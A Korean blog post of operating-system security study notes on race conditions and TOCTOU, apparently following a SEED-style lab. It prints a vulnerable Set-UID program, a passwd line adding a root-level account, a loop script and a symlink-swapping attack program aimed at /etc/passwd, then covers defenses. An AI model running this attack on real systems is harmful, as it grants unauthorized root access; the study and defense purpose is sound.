[운영체제 보안] Race Condition Vulnerability

cloudbread·2025년 12월 8일

보안

목록 보기
6/7

1. Race Condition

  • Race Condition(경쟁 상태) : 둘 이상의 프로세스 또는 스레드가 동일한 공유 자원을 동시에 수정하려할 때 발생하는
  • 발생 조건 : 동시성 환경에서 적절한 동기화가 제공되지 않을 때.
    • 1) 여러 프로세스가 동일한 데이터(파일, 데이터 베이스 레코드, 전역 변수 등)에 동시에 접근 및 수정할 때
    • 2) 실행 순서에 따라 결과가 달라질때
  • 해결방법 : 동기화 => 여러 프로세스/스레드의 실행 순서나 접근을 제어

2. 동기화 기법

  • 1) 상호 배제 기법
    • Spin Lock : 자원이 사용 가능해질 때까지 반복해서 기다림. CPU를 계속 사용하므로 짧은 대기 시간에 적합
    • Sleep Lock : 자원이 사용 가능해질 떄 까지 프로세스를 대기 상태로 전환. CPU 낭비를 방지, 긴 대기 시간에 적합
  • 2) 고급 동기화 기법
    • Semaphore (세마포어) : 정수형 카운터로 자원 접근 가능 수를 관리
    • Mutax (뮤택스) : Lock과 Unlock 방식으로 제어

3. 동시성 문제와 상태

  • 교착 상태 (Deadlock) : 여러 프로세스가 서로가 가진 자원을 기다리며 영원히 실행을 못하는 상태
  • 기아 상태 (Starvation) : 특정 프로세스가 계속 우선권을 얻지 못해 실행되지 못하는 상태

4. 대표적인 동시성 문제 예시

  • 1) 생산자-소비자 문제 (Producer-Consumer Problem) : 버퍼를 공유하는 생산자와 소비자 간의 동기화 문제
  • 2) 독자-작성자 문제 (Readers-Writers Problem) : 동시에 여러 독자는 허용되지만, 작성자는 배타적으로 접근
  • 3) 식사하는 철학자 문제 (Dining Philosophers Problem) : 제한된 자원(포크)를 공유하며 발생하는 교착 및 기아 문제

5. 문맥 교환(context Switching) 발생 상황

  • 1) Time Quantum 종료 => 라운드 로빈 스케줄링에서 CPU를 한 프로세스가 일정 시간만 사용하고 다음 프로세스로 넘어갈 때 발생
    • 상태 전이 : Running -> Ready
  • 2) I/O interrupt 발생 => 입출력 장치에서 인터럽트가 걸리면 CPU는 현재 프로세스를 중단하고 I/O 요청 처리를 수행하거나 다른 준비된 프로세스를 실행
    • 상태 전이 : Waiting -> Ready(I/O 완료 후)
  • 3) 입출력 요청 발생 : 프로세스가 디스크, 네트워크 등 I/O를 요청하면 CPU가 기다리지 않고 다른 프로세스로 전환
    • 상태 전이 : Running -> Waiting
  • 4) 예외 상황 발생 : 0나누기, 잘못된 메모리 접근 등 예외가 발생하면 운영체제가 문맥 교환을 수행하여 예외 처리

6. DMA와 CPU 간섭 최소화

  • DMA(Direct Memory Access) : 디스크나 외부 장치에서 데이터를 메모리로 직접 전송
  • CPU는 계산 작업에 집중 가능 -> 문맥 교환 빈도 감소

7. Time Quentum 길이에 따른 문제

  • 짧은 경우 : 문맥 교환이 너무 자주 발생 => 오버 헤드 증가
  • 긴 경우 : 짧은 프로세스가 CPU를 오래 기다려야 함 => 응답 시간 저하

8. PCB(Process Control Block)와 문맥 교환

  • PCB란? 각 프로세스마다 운영체제가 관리하는 자료 구조
  • 문맥 교환은 현재 프로세스의 실행 상태를 저장하고, 다른 프로세스의 상태를 복원하는 과정
  • 1) 현재 프로세스 상태 저장 : CPU 레지스터 값, PC, SP 등을 현재 프로세스의 PCB에 저장
  • 2) 다음 프로세스 상태 복원 : PCB에 저장된 레지스터 값, PC, SP등을 CPU 레지스터로 불러오기

9. Simple Exam

#include <stdio.h>
#include <unistd.h>

void main(void){
        int pid;
        printf("PID=%d,in BEGIN printf\n", getpid());
        pid = fork();
        if (pid ==0){
                for (int k=0; k<25; k++){
                        usleep(50000);
                        printf("PID=%d : Child printf****\n",getpid());
                        fflush(stdout);
                }
        }else if (pid>0){
                for(int n=0; n<25; n++){
                        printf("PID = %d : Parent printf\n", getpid() );
                        fflush(stdout);
                        usleep(50000);
                }
        }else
                printf("fork()eroor\n");

        printf("PID = %d, in END printf \n", getpid() );
}
  • usleep(50000) :50ms(0.05초) 동안 cpu 사용을 잠시 중단 (Running에서 wait상태로 간다.)
  • fflush(stdout) : 표준 출력 (stdout)에 쌓여있는 버터 데이터를 즉시 화면에 내보내는 flush 함수이다.
  • 프로세스 스케줄링 방식에 따라 프로세스는 CPU 타임을 조금씩 나눠 가진다. => 출력이 섞여 나타난다.
  • usleep(50000) 때문에 두 프로세스는 50ms마다 CPU를 잠시 내려 놓는다.
  • fflush(stdout) => 버퍼링이 남아있다면, 부모만 먼저 출력하거나, 자식만 먼저 출력하는 일이 생길 수 있다. 하지만 해당 코드를 사용함으로써 섞어서 출력되는 것이 정상이다.

10. mypthread.c

#include <stdio.h>
#include <pthread.h>

void *PrintHello (void *arg){
        printf("%s\n",(char *)arg);
        return NULL;
}

void main() {
        pthread_t p1,p2;

        printf("main:begin\n");
        pthread_create(&p1,NULL,PrintHello,"P1");
        pthread_create(&p2,NULL,PrintHello,"P2");

        pthread_join(p1,NULL);
        pthread_join(p2,NULL);
        printf("main: end\n");
}
  • int pthread_create(pthread_t thread, const pthread_attr_t attr,
    void (start_routine)(void ), void arg);
    • thread 생성된 스레드 id를 저장할 주소
    • attr : 스레드의 속성 => NULL이면 기본 속성
    • start_routine : 새 스레드가 실행할 함수
    • arg : 스레드 함수에 전달할 인자
  • int pthread_join(pthread_t thread, void **retval);
    • thread: 종료를 기다릴 스레드
    • retval : 종료시 반환값을 받을 포인터 => NULL이면 반환값을 무시
  • -lpthread : 링크 단계에서 pthread 라이브러리 연결

11. Race condition 예

#include <stdio.h>
#include <pthread.h>
#include "mythreads.h"

static volatile int counter = 0;

// mythread()
// counter를 1e7 번 1씩 증가시키는 스레드 함수
void *mythread(void *arg) {
    printf("%s: begin\n", (char *)arg);
    int i;
    for (i = 0; i < 1e7; i++) {
        counter = counter + 1;
    }
    printf("%s: done\n", (char *)arg);
    return NULL;
}

// main()
// 스레드 두 개를 생성하고 모두 끝날 때까지 join
int main(int argc, char *argv[]) {
    pthread_t p1, p2;

    printf("main: begin (counter = %d)\n", counter);

    Pthread_create(&p1, NULL, mythread, "A");
    Pthread_create(&p2, NULL, mythread, "B");

    Pthread_join(p1, NULL);
    Pthread_join(p2, NULL);

    printf("main: done with both (counter = %d)\n", counter);
    return 0;
}
  • static volatile int counter = 0; => static : 데이터 영역에 저장, volatile : 이 변수는 외부 요인에 의해 언제든지 값이 변경될 수 있으니, 최적화하지 말고 항상 메모리에서 직접 읽어라.
  • 해당 코드를 실행해보면 예측값과 다른 것을 확인할 수 있다.
  • count ++
//count ++
movl count, %eax 
incl %eax
movl %eax, count 
  • 공유변수 count는 메모리(DRAM)에 존재한다
  • CPU는 연산 중 캐시에 데이터를 가져오고 실제 증가 계산은 레지스터에서 수행
  • 1) 메모리에서 count를 레지스터로 로드
  • 2) 레스터에서 증가
  • 3) 메모리에 다시 기록
  • 이 세 단계가 원자적이지 않음.
function withdraw($amount) 
{ 
  $balance = getBalance();
  if ($amount <= $balance){
      // interrupt가 발생하면 예상치 못한 결과가 발생 
      $balance = $ balance - $amount;
      echo "You have withdrawn $amount";
      saveBalance ($balance);
  }
  eles {
     echo "Insufficient funds";
   }
}

잔액이 500원이고 두 사용자가 동시에 500원을 출금 요청을 했을 때, 경쟁상태에 빠져 실제 잔액이 2번빠지는 부정 출금이 발생할 수 있다.

11. Race condition Vulnerability 1

  • 해당 프로그램은 root가 소유하고 Set-UID가 설정된 실행 파일이다.
  • EUID = root, RUID = 일반사용자
if (!access("/tem/x",W_OK)) {
   f=open("/tmp/X",O_WRITE);
   write_to_file(f);
}
else {
   fprintf(stderr,"Permission denied\n");
}
  • 프로그램은 /tmp 디렉토리에 있는 파일을 생성하거나 수정한다. => why? /tmp는 모든 사용자가 쓸 수 있는 디렉터리이기 때문이다.
  • 취약점이 발생하는 지점
    • 1) access()는 RUID기준 => seed가 쓸 수 있음
    • 2) open은 EUID기준 => Race Window (TOCTOU 발생)
access("/tmp/X") → TRUE    (seed가 쓸 수 있음)
[잠깐 시간 발생: 공격자가 symlink 변경]
/tmp/X → /etc/passwd 로 연결
open("/tmp/X") → root 권한으로 /etc/passwd 열림

11. 하드 링크와 심볼릭 링크의 핵심 차이

  • 1) 하드 링크 (ln file linkname)
    • 동일한 inode를 가르킴
    • 즉 파일의 복사본이 아니라, 파일 그 자체를 하나 더 만드는 것과 동일
    • 두 파일명은 완전히 동등
    • 하나를 삭제해도 다른 하나는 그대로 유지
    • 하나를 수정하면 다른 하나도 바뀜
  • 2) 심볼릭 링크 (ln -s file linkname)
    • 고유한 inode를 가진 독립적인 파일
    • 파일을 가리키는 포인터
    • Windows의 바로가기와 유사
    • 원본 파일 삭제시 링크는 끊어짐
ln -s /etc/passwd myln 

  • directory에만 sticky bit가 붙는다.
  • sticky bit : 누구나 파일을 만들 수는 있지만, 지우는 것은 함부로 못한다.

13. Race condition Vulnerability 2

file = "/tmp/x";
fileExist = check_file_existence(file);

if (fileExist == FALSE){
    f= open(file, O_CREAT);
}
  • 현재 사용하는 프로그램은 Set-UID root 프로그램이다.
  • 즉, 일반 사용자가 실행해도 root 권한으로 동작한다.
  • open()은 root 권한으로 실행되므로 어떤 파일이든 만들 수 있다.
  • 이때 여기서 check(존재 확인)과 Use(open) 사이에 race window가 존재한다.
  • 공격자는 이 사이를 노린다.
  • /tmp/X를 삭제하고, /etc/passwd로 연결된 심볼릭 링크로 바꾸면 공격에 성공한다.

13. Race condition Vulnerability 3

  • Setup 방법
    • OS는 /tmp 같이 world-writable한 디렉터리에 생성된 심볼릭 링크를 신뢰하지 않는다. => 심볼릭 링크를 절대 따라가지 않도록 설정함 => 그렇기 때문에 sudo sysctl -w fs.protected_symlinks=0
vulp.c 
#include <stdio.h>
#include <unistd.h>

int main(){
   // tmp/XYZ 문자열이 저장된 메모리  주소를 가르킨다. 
   char *fn="/tmp/XYZ"; 
   char buffer[60];
   FILE *fp;
   
   scanf("%50s",buffer);
   
   if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite (buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
    
    return 0;
}
  • 1)사용자 입력 buffer 읽기
  • 2)사용자에게 쓰기 권한이 있는지 확인 => 있다면 fopen()으로 파일 열기
  • 3) 파일에 사용자 입력을 추가하여 저장
  • 취약 구간 => access() 그리고 fopen()
  • /tmp/XYZ 파일을 사용자 소유의 정상 파일로 만들어 access()를 통과시키고 그 직후 /etc/passwd 같은 중요한 파일로 심볼릭 링크를 변경
A1: /tmp/XYZ → 공격자가 만든 정상 파일
V1: access("/tmp/XYZ") → OK! (유저 권한으로 검사)

A2: /tmp/XYZ → /etc/passwd로 심볼릭 링크 변경
V2: fopen("/tmp/XYZ") → 실제로는 /etc/passwd가 열림 (root 권한)
  • /etc/passwd에 추가할 악성 사용자 정보
//passwd_input 파일의 역할
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
  • vulp가 계속 실행되게 하는 프로그램이다. 결과를 모니터하는 기능도 추가되었다.
// target_process.sh
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"

old=$($CHECK_FILE)
new=$($CHECK_FILE)

while [ "$old" = "$new" ]
do
    ./vulp < passwd_input
    new=$($CHECK_FILE)
done

echo "STOP... The passwd file has been changed."
  • tmp/XYZ가 공격자가 생성한 프로그램 그리고 etc/passwd를 가르키는 심볼릭 링크를 만드는 프로그램이다.
//atack_process.c
#include <unistd.h>

int main()
{ 
   while(1){
       unlink("/tmp/XYZ");
       symlink("/home/ubuntu/myfile", "tmp/XYZ");
       usleep(10000);
       
       unlink("/tmp/XYZ");
       symlink("/etc/passwd", "/tmp/XYZ");
       usleep(10000);
   }
   
   return 0;
}



13. Race condition 대응 기법

  • 1) Atomic Operations : check와 use 사이에 존재하는 틈을 완전히 제거하여 레이스가 일어날 수 없도록 만드는 방식
    • open(file,O_CREATE|O_EXCL) 사용 : 파일 존재 여부 확인과 파일 생성이 한번에 원자적으로 수행
    • open()이 수행될 때 real user ID 기준으로 권한 검사를 수행하도록 옵션을 추가한다면 권한확인 + 파일 사용을 동시에 수행
  • 2) Repeating Check and Use
  • 3) Sticky Symilnk Protection
    • fs.protected_symlinks
  • 4) 최소 권한의 원칙

14. repeating check and use

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/access.h>   // 어떤 시스템에서는 <unistd.h> 의 access 사용
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

void write_to_file(int fd) {
    const char *msg = "secure write\n";
    write(fd, msg, 13);
}

int main(void) {
    struct stat stat1, stat2, stat3;
    int fd1, fd2, fd3;

    /* Window 1: 첫 번째 open 전 권한 체크 */
    if (access("/tmp/XYZ", O_RDWR)) {
        fprintf(stderr, "Permission denied\n");
        return -1;
    }

    /* Window 2 */
    fd1 = open("/tmp/XYZ", O_RDWR);
    if (fd1 < 0) {
        perror("open fd1");
        return -1;
    }

    /* Window 3: 두 번째 open 전 권한 체크 */
    if (access("/tmp/XYZ", O_RDWR)) {
        fprintf(stderr, "Permission denied\n");
        close(fd1);
        return -1;
    }

    /* Window 4 */
    fd2 = open("/tmp/XYZ", O_RDWR);
    if (fd2 < 0) {
        perror("open fd2");
        close(fd1);
        return -1;
    }

    /* Window 5: 세 번째 open 전 권한 체크 */
    if (access("/tmp/XYZ", O_RDWR)) {
        fprintf(stderr, "Permission denied\n");
        close(fd1);
        close(fd2);
        return -1;
    }

    fd3 = open("/tmp/XYZ", O_RDWR);
    if (fd3 < 0) {
        perror("open fd3");
        close(fd1);
        close(fd2);
        return -1;
    }

    /* 세 fd가 같은 inode를 가리키는지 확인 */
    fstat(fd1, &stat1);
    fstat(fd2, &stat2);
    fstat(fd3, &stat3);

    if (stat1.st_ino == stat2.st_ino && stat2.st_ino == stat3.st_ino) {
        /* 세 번 모두 같은 파일을 가리키면 쓰기 수행 */
        write_to_file(fd1);
    } else {
        fprintf(stderr, "Race detected: inode changed\n");
    }

    close(fd1);
    close(fd2);
    close(fd3);
    return 0;
}

15. 최소권한의 원칙

uid_t real_uid = getuid();
uid_t eff_uid = geteuid();

seteuid(real_uid);

f=open("tmp/x", O_WRITE);
if (f != -1)
  write_to_file(f);
else 
 fprintf(stderr, Permission denied\n")
setuid (eff_uid);
  • 파일을 열기 직전에 root 권한을 유지하는 것이 위험하다.
  • 열기 직전 euid를 ruid로 설정해 권한을 낮춘다. => 작업이 다 끝난후 euid를 다시 root(0)으로 복구한다.
  • 최소권한 원칙은 race condition에 효과적이다. 하지만 버퍼 오버플로우 공격에서는 효과적이지 못하다. 그 이유는 버퍼 오버플로우 공격은 함수 내부에서 발생하기 때문이다. 이미 낮춘 상태에서도 공격자는 return address, shellcode 실행, 함수 흐름 탈취가 가능하다.

16. 파일 디스크립터

  • 파일 디스크립터는 운영체제가 프로세스 내부에서 열린 파일을 식별하기 위해 부여하는 정수 번호이다.
  • 0 : 표준 입력 (stdin)
  • 1 : 표준 출력 (stdout)
  • 2 : 표준 오류 (stderr)

17. TOCTTOU (Time of check Time of Use)

  • TOCTTOU는 프로그램이 어떤 조건을 검사하는 시점과 그 결과를 실제로 사용하는 시점 사이에 발생하는 경쟁상태취약점이다.
profile
잡다한거 다 공부중....

0개의 댓글